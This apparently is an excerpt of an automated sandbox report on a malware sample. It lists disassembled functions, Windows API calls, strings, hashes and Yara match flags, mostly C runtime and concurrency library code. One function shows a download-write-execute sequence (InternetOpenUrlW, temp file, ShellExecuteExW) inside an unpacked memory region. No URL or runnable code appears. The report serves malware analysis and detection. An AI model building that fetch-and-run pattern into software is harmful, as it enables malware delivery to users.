Download Yara Rule

APIs

_free.LIBCMT ref: 0465E9A9
_free.LIBCMT ref: 0465E9BF
_free.LIBCMT ref: 0465E9D0
_free.LIBCMT ref: 0465E9E1
_free.LIBCMT ref: 0465E9F8
GetCPInfo.KERNEL32(?,?), ref: 0465EA40

Part of subcall function 04666972: _free.LIBCMT ref: 046669DD

_free.LIBCMT ref: 0465EBEC
_free.LIBCMT ref: 0465EBFF
_free.LIBCMT ref: 0465EC0D
_free.LIBCMT ref: 0465EC18
_free.LIBCMT ref: 0465EC5A
_free.LIBCMT ref: 0465EC62
_free.LIBCMT ref: 0465EC6A
_free.LIBCMT ref: 0465EC72
_free.LIBCMT ref: 0465EC80

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 17cc7d2981949aec261f5402442bc47708264f4dc272fa138ea10e652b727814
Instruction ID: fd1143b1f175508a55119e4ea342d3c5b6c3c126e38f00cc23ba34b7add27317
Opcode Fuzzy Hash: 17cc7d2981949aec261f5402442bc47708264f4dc272fa138ea10e652b727814
Instruction Fuzzy Hash: F6B1A1B19002059FEF109F68C880BEEBBF5BF48344F14456DE895E7351EB76B9418B24

Function 04650C46 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 136threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 04650C56
Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 04650CBD
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 04650CDA
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 04650D40
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 04650D55
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 04650D67
Concurrency::details::InternalContextBase::SwitchTo.LIBCONCRT ref: 04650D95
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 04650DA0
__CxxThrowException@8.LIBVCRUNTIME ref: 04650DCC
Concurrency::details::WorkItem::TransferReferences.LIBCONCRT ref: 04650DDC

Strings

%D, xrefs: 04650C46
11@, xrefs: 04650C75

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::ContextInternal$Work$ChoreCurrentThread$AssociatedCompletionCreateException@8ExecuteExecutedFoundInlineItem::ListReferencesSwitchThrowTransferWait
String ID: 11@$%D
API String ID: 3720063390-4114847594
Opcode ID: 6daf059359ebdef5a4ede7147139a3b2708b04212e06e16dc02b70a899e44c79
Instruction ID: b259e97d32aed281086961eeb5f9d3a722344b8b63c14b95ef28461df31fc4ca
Opcode Fuzzy Hash: 6daf059359ebdef5a4ede7147139a3b2708b04212e06e16dc02b70a899e44c79
Instruction Fuzzy Hash: 2741CF70A002449AEF15FFA4C4647ED7765AF52308F1440AECC465B3A2FB35BA06CB6A

Function 0043A618 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0043A65C

Part of subcall function 004399AB: _free.LIBCMT ref: 004399C8
Part of subcall function 004399AB: _free.LIBCMT ref: 004399DA
Part of subcall function 004399AB: _free.LIBCMT ref: 004399EC
Part of subcall function 004399AB: _free.LIBCMT ref: 004399FE
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A10
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A22
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A34
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A46
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A58
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A6A
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A7C
Part of subcall function 004399AB: _free.LIBCMT ref: 00439A8E
Part of subcall function 004399AB: _free.LIBCMT ref: 00439AA0

_free.LIBCMT ref: 0043A651

Part of subcall function 0043348A: HeapFree.KERNEL32(00000000,00000000,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?), ref: 004334A0
Part of subcall function 0043348A: GetLastError.KERNEL32(?,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?,?), ref: 004334B2

_free.LIBCMT ref: 0043A673
_free.LIBCMT ref: 0043A688
_free.LIBCMT ref: 0043A693
_free.LIBCMT ref: 0043A6B5
_free.LIBCMT ref: 0043A6C8
_free.LIBCMT ref: 0043A6D6
_free.LIBCMT ref: 0043A6E1
_free.LIBCMT ref: 0043A719
_free.LIBCMT ref: 0043A720
_free.LIBCMT ref: 0043A73D
_free.LIBCMT ref: 0043A755

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction ID: 8150cfcbb8d97c1a634bb94bc0336974ffbd25353871f942fa72eec07d372a2d
Opcode Fuzzy Hash: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction Fuzzy Hash: D4316E315002009EEB219B35D886B5B73E8FF58315F14A51FE4D9CA251DB7AED508B1A

Function 0466A87F Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0466A8C3

Part of subcall function 04669C12: _free.LIBCMT ref: 04669C2F
Part of subcall function 04669C12: _free.LIBCMT ref: 04669C41
Part of subcall function 04669C12: _free.LIBCMT ref: 04669C53
Part of subcall function 04669C12: _free.LIBCMT ref: 04669C65
Part of subcall function 04669C12: _free.LIBCMT ref: 04669C77
Part of subcall function 04669C12: _free.LIBCMT ref: 04669C89
Part of subcall function 04669C12: _free.LIBCMT ref: 04669C9B
Part of subcall function 04669C12: _free.LIBCMT ref: 04669CAD
Part of subcall function 04669C12: _free.LIBCMT ref: 04669CBF
Part of subcall function 04669C12: _free.LIBCMT ref: 04669CD1
Part of subcall function 04669C12: _free.LIBCMT ref: 04669CE3
Part of subcall function 04669C12: _free.LIBCMT ref: 04669CF5
Part of subcall function 04669C12: _free.LIBCMT ref: 04669D07

_free.LIBCMT ref: 0466A8B8

Part of subcall function 046636F1: HeapFree.KERNEL32(00000000,00000000,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?), ref: 04663707
Part of subcall function 046636F1: GetLastError.KERNEL32(?,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?,?), ref: 04663719

_free.LIBCMT ref: 0466A8DA
_free.LIBCMT ref: 0466A8EF
_free.LIBCMT ref: 0466A8FA
_free.LIBCMT ref: 0466A91C
_free.LIBCMT ref: 0466A92F
_free.LIBCMT ref: 0466A93D
_free.LIBCMT ref: 0466A948
_free.LIBCMT ref: 0466A980
_free.LIBCMT ref: 0466A987
_free.LIBCMT ref: 0466A9A4
_free.LIBCMT ref: 0466A9BC

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction ID: fbe0011c7adb6240b389b5b442e98b5ed3ce671faf47c2f9d8f1bd6dd37c8ed6
Opcode Fuzzy Hash: 06440b44c22d454fcfdb7eecae663acef5c85cbb4bcd3e1a14e5022e47855d68
Instruction Fuzzy Hash: EA315F716042059FEB206FB8D845B5677E9AF42394F21451DE85BE7350EE71B8908628

Function 00439AA9 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00439AF1
_free.LIBCMT ref: 00439B15
_free.LIBCMT ref: 00439B22
_free.LIBCMT ref: 00439B47
_free.LIBCMT ref: 00439B54
_free.LIBCMT ref: 00439B5D
_free.LIBCMT ref: 00439E3B
_free.LIBCMT ref: 00439E43

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4cb414690be6fda0ca229090f7b6620efc7f825f0c5babe970a6a28c94bdcbad
Instruction ID: 14d391df4236cd99baad955409263e6980f1ff06ffe499d5f8ebd119726a11a8
Opcode Fuzzy Hash: 4cb414690be6fda0ca229090f7b6620efc7f825f0c5babe970a6a28c94bdcbad
Instruction Fuzzy Hash: 16C14772D40205BBDB20DB98CC46FDEB7F8AB4C708F15515AFA04FB282D6B59E418B64

Function 04632C7B Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134filenetworksynchronizationCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00451E78,00000000,00000000,00000000,00000000), ref: 04632C9E
InternetOpenUrlW.WININET(00000000,0045D830,00000000,00000000,00000000,00000000), ref: 04632CB4
GetTempPathW.KERNEL32(00000105,?), ref: 04632CD0
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 04632CE6
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 04632D1F
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 04632D5B
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 04632D78
ShellExecuteExW.SHELL32(?), ref: 04632DEF
WaitForSingleObject.KERNEL32(?,00008000), ref: 04632E04

Strings

<, xrefs: 04632DCC

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: File$Internet$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: <
API String ID: 838076374-4251816714
Opcode ID: 6a1df9d8d931caabd250c55c7ad4b4351e218200b760aecaacf5835990ef0e97
Instruction ID: cb7b8395214031716de8809b61c01127e1ec8564cbd57607013b67e3781ba528
Opcode Fuzzy Hash: 6a1df9d8d931caabd250c55c7ad4b4351e218200b760aecaacf5835990ef0e97
Instruction Fuzzy Hash: 3B41637190025CAEEB209F50DC85FEA77BCFF15706F0081F9A549E2150EE70AE858FA4

Function 0042486D Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00424886

Part of subcall function 00424B55: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,004245B9), ref: 00424B65

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 0042489B
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004248AA
__CxxThrowException@8.LIBVCRUNTIME ref: 004248B8
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 0042492E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042496E
__CxxThrowException@8.LIBVCRUNTIME ref: 0042497C

Strings

11@, xrefs: 004248DC, 004248FD
switchState, xrefs: 004248A2
pContext, xrefs: 00424966

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: 11@$pContext$switchState
API String ID: 3151764488-3851367110
Opcode ID: 5099532818571cbbdf9efb1b5aa3717eeed6167c85065a7cf9a3e62c5dc9f912
Instruction ID: b5099d2659ab5da3d856e1a370161b96529dd65552012442df5f2ab280934ec0
Opcode Fuzzy Hash: 5099532818571cbbdf9efb1b5aa3717eeed6167c85065a7cf9a3e62c5dc9f912
Instruction Fuzzy Hash: 1331E575B002249BCF04EF65D881A6E77B5FF84314F60446BE915A7382DB78EE05C798

Function 0464EEE2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,0045A064,00000000,?,?,00000000,00441C33,000000FF,?,0464F248,00000004,04647DA7,00000004,04648089), ref: 0464EF19
GetLastError.KERNEL32(?,0464F248,00000004,04647DA7,00000004,04648089,?,046487B9,?,00000008,0464802D,00000000,?,?,00000000,?), ref: 0464EF25
LoadLibraryW.KERNEL32(advapi32.dll,?,0464F248,00000004,04647DA7,00000004,04648089,?,046487B9,?,00000008,0464802D,00000000,?,?,00000000), ref: 0464EF35
GetProcAddress.KERNEL32(00000000,00447430), ref: 0464EF4B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EF61
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EF78
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EF8F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EFA6
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EFBD

Strings

advapi32.dll, xrefs: 0464EF13, 0464EF18, 0464EF34

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 42b6543bbc8b29be41a8bf3c8b8dff5f6d345e4297bc09f77771cd86560ab435
Instruction ID: fa8a58caca12d7bc2fef57005b355443a1be326547d3067c65f58a160a1ed8f2
Opcode Fuzzy Hash: 42b6543bbc8b29be41a8bf3c8b8dff5f6d345e4297bc09f77771cd86560ab435
Instruction Fuzzy Hash: 3B215EB5904710BFEB107FB49C08A6ABFA8FF45B56F104A6AF541D3650DB7CE4408BA8

Function 0464EEE5 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,0045A064,00000000,?,?,00000000,00441C33,000000FF,?,0464F248,00000004,04647DA7,00000004,04648089), ref: 0464EF19
GetLastError.KERNEL32(?,0464F248,00000004,04647DA7,00000004,04648089,?,046487B9,?,00000008,0464802D,00000000,?,?,00000000,?), ref: 0464EF25
LoadLibraryW.KERNEL32(advapi32.dll,?,0464F248,00000004,04647DA7,00000004,04648089,?,046487B9,?,00000008,0464802D,00000000,?,?,00000000), ref: 0464EF35
GetProcAddress.KERNEL32(00000000,00447430), ref: 0464EF4B
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EF61
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EF78
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EF8F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EFA6
GetProcAddress.KERNEL32(00000000,00000000), ref: 0464EFBD

Strings

advapi32.dll, xrefs: 0464EF13, 0464EF18, 0464EF34

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 568b270db7864284fcb8ae39da317007db6e00d9f6bba130ca6b7ecd6e9fa7a9
Instruction ID: f2a25703190acfe276720b0d243ee016be4c8d4888bb591f1f21fd16acc9f405
Opcode Fuzzy Hash: 568b270db7864284fcb8ae39da317007db6e00d9f6bba130ca6b7ecd6e9fa7a9
Instruction Fuzzy Hash: 50215EB5904710BBEB107FA49C08A6ABBACFF45B56F104A6AF541D3650DB7CE4408BA8

Function 046424C7 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,0464672B), ref: 046424D6
GetProcAddress.KERNEL32(00000000,00446CDC), ref: 046424E4
GetProcAddress.KERNEL32(00000000,00446CF4), ref: 046424F2
GetModuleHandleW.KERNEL32(kernel32.dll,00446D0C,?,?,?,0464672B), ref: 04642520
GetProcAddress.KERNEL32(00000000), ref: 04642527
GetLastError.KERNEL32(?,?,?,0464672B), ref: 04642542
GetLastError.KERNEL32(?,?,?,0464672B), ref: 0464254E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 04642564
__CxxThrowException@8.LIBVCRUNTIME ref: 04642572

Strings

kernel32.dll, xrefs: 046424D0, 046424D5, 0464251A

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: e08c19642d7b700cf60faa8aebbbf92ec784f63dcc7f1ccf2d9f7600249f9a07
Instruction ID: 23445a3526b409cc6c1db675dc24142091b40f75e59839f498fb9fe142691ec3
Opcode Fuzzy Hash: e08c19642d7b700cf60faa8aebbbf92ec784f63dcc7f1ccf2d9f7600249f9a07
Instruction Fuzzy Hash: EC11A9755003107FFB147B746CA9A7B7BACAD81A97730056AF801D3261FF74E940866C

Function 0043EEC2 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,004401AF), ref: 0043EEE5

Strings

sqrt, xrefs: 0043F069
11@, xrefs: 0043EF5B, 0043EFF5, 0043F0AD
asin, xrefs: 0043F051
pow, xrefs: 0043EFC9, 0043F075, 0043F088
exp, xrefs: 0043EFAA, 0043F00C
acos, xrefs: 0043F05D
log10, xrefs: 0043EF2F, 0043EF7F
log, xrefs: 0043EF8B, 0043EF97

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: DecodePointer
String ID: 11@$acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-2461957735
Opcode ID: c5a83a7c3a5692031bd98a2408cfaa5972c38f8111fe63a4894d5265efbafef3
Instruction ID: 47f9428d28cfd6d6d0fcc487ca1ad96a5e838d4e1f3ed62f9574ed722bc2da70
Opcode Fuzzy Hash: c5a83a7c3a5692031bd98a2408cfaa5972c38f8111fe63a4894d5265efbafef3
Instruction Fuzzy Hash: 1A51A07490160ADBCF14DFA8E6481AEBBB0FF0D300F6551A7E480AB255C7798D29CB1E

Function 00419766 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00419788
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 00419792
DuplicateHandle.KERNEL32(00000000), ref: 00419799
SafeRWList.LIBCONCRT ref: 004197B8

Part of subcall function 00417787: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00417798
Part of subcall function 00417787: List.LIBCMT ref: 004177A2

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004197CA
GetLastError.KERNEL32 ref: 004197D9
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004197EF
__CxxThrowException@8.LIBVCRUNTIME ref: 004197FD

Strings

eventObject, xrefs: 004197C2

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorException@8HandleLastLock::_ReaderSafeThrowWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1999291547-1680012138
Opcode ID: f2fd52a031fb61bc76af8f85f01e8766478cf52a27c2f29204c16f3f9ad69e75
Instruction ID: 74ee1ce6077461ea63ae9e00130f3aceb1e9566028cac9141ddd6988e3fa2b51
Opcode Fuzzy Hash: f2fd52a031fb61bc76af8f85f01e8766478cf52a27c2f29204c16f3f9ad69e75
Instruction Fuzzy Hash: 6511A075600105EACB14EFA5CC49FEF77B8AF00701F20012BF42AE21D1DB789E85866D

Function 0041515E Relevance: 15.2, APIs: 10, Instructions: 175COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00415269

Part of subcall function 00414C7A: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00414C8E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00415292

Part of subcall function 004130F4: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00413110

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004152B9
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00415173

Part of subcall function 00413158: __EH_prolog3_GS.LIBCMT ref: 0041315F
Part of subcall function 00413158: GetCurrentProcess.KERNEL32(0045CB84,0045CB88,00000024), ref: 0041316E
Part of subcall function 00413158: GetProcessAffinityMask.KERNEL32(00000000), ref: 00413175
Part of subcall function 00413158: GetCurrentThread.KERNEL32 ref: 0041319D
Part of subcall function 00413158: Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 004131A7

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00415194
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004151CB
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0041520E
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00415301
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00415325
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00415332

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Concurrency::details::$AffinityManager::Resource$ApplyRestrictions$InformationProcess$Topology$CaptureCurrentHardware$Affinity::CleanupConcurrency::details::platform::__FindGroupH_prolog3_LogicalMaskProcessorRestriction::Thread
String ID:
API String ID: 64082781-0
Opcode ID: 1ecb225e08598ee27c8c099d749289d9fb610fb0746485e2ea13aa543c18698c
Instruction ID: 3c4a00c01101e3417d492a63c26e06d94b1efbede92b5aee1480a2ddfdefe69c
Opcode Fuzzy Hash: 1ecb225e08598ee27c8c099d749289d9fb610fb0746485e2ea13aa543c18698c
Instruction Fuzzy Hash: A3618D71A00715DFDB18CFA5E8926EEB7B1FB84316F24806ED45697252C738A981CF4C

Function 046453C5 Relevance: 15.2, APIs: 10, Instructions: 175COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 046454D0

Part of subcall function 04644EE1: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 04644EF5

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 046454F9

Part of subcall function 0464335B: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 04643377

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 04645520
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 046453DA

Part of subcall function 046433BF: __EH_prolog3_GS.LIBCMT ref: 046433C6
Part of subcall function 046433BF: GetCurrentProcess.KERNEL32(0045CB84,0045CB88,00000024), ref: 046433D5
Part of subcall function 046433BF: GetProcessAffinityMask.KERNEL32(00000000), ref: 046433DC
Part of subcall function 046433BF: GetCurrentThread.KERNEL32 ref: 04643404
Part of subcall function 046433BF: Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0464340E

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 046453FB
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 04645432
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 04645475
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 04645568
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 0464558C
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 04645599

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$AffinityManager::Resource$ApplyRestrictions$InformationProcess$Topology$CaptureCurrentHardware$Affinity::CleanupConcurrency::details::platform::__FindGroupH_prolog3_LogicalMaskProcessorRestriction::Thread
String ID:
API String ID: 64082781-0
Opcode ID: 1ecb225e08598ee27c8c099d749289d9fb610fb0746485e2ea13aa543c18698c
Instruction ID: f56252b2d9a488bb4724b5c2f668144a81ce6e8fa58cfe915fdfe381c508c855
Opcode Fuzzy Hash: 1ecb225e08598ee27c8c099d749289d9fb610fb0746485e2ea13aa543c18698c
Instruction Fuzzy Hash: BD616971A00311AFDF18CFA5E8D26ADB7B2FB84316F24806DD6469B752E731B941CB48

Function 00431E06 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00431E1A

Part of subcall function 0043348A: HeapFree.KERNEL32(00000000,00000000,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?), ref: 004334A0
Part of subcall function 0043348A: GetLastError.KERNEL32(?,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?,?), ref: 004334B2

_free.LIBCMT ref: 00431E26
_free.LIBCMT ref: 00431E31
_free.LIBCMT ref: 00431E3C
_free.LIBCMT ref: 00431E47
_free.LIBCMT ref: 00431E52
_free.LIBCMT ref: 00431E5D
_free.LIBCMT ref: 00431E68
_free.LIBCMT ref: 00431E73
_free.LIBCMT ref: 00431E81

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction ID: 37ceee84360c9df2d19b7be330e975e9230a82d8295317da332a0d8bba7d8220
Opcode Fuzzy Hash: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction Fuzzy Hash: 9111A476100508AFCB02EF56C852CD93BA5EF18355F1190AAFA088F232DA76EF519F84

Function 0466206D Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04662081

Part of subcall function 046636F1: HeapFree.KERNEL32(00000000,00000000,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?), ref: 04663707
Part of subcall function 046636F1: GetLastError.KERNEL32(?,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?,?), ref: 04663719

_free.LIBCMT ref: 0466208D
_free.LIBCMT ref: 04662098
_free.LIBCMT ref: 046620A3
_free.LIBCMT ref: 046620AE
_free.LIBCMT ref: 046620B9
_free.LIBCMT ref: 046620C4
_free.LIBCMT ref: 046620CF
_free.LIBCMT ref: 046620DA
_free.LIBCMT ref: 046620E8

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

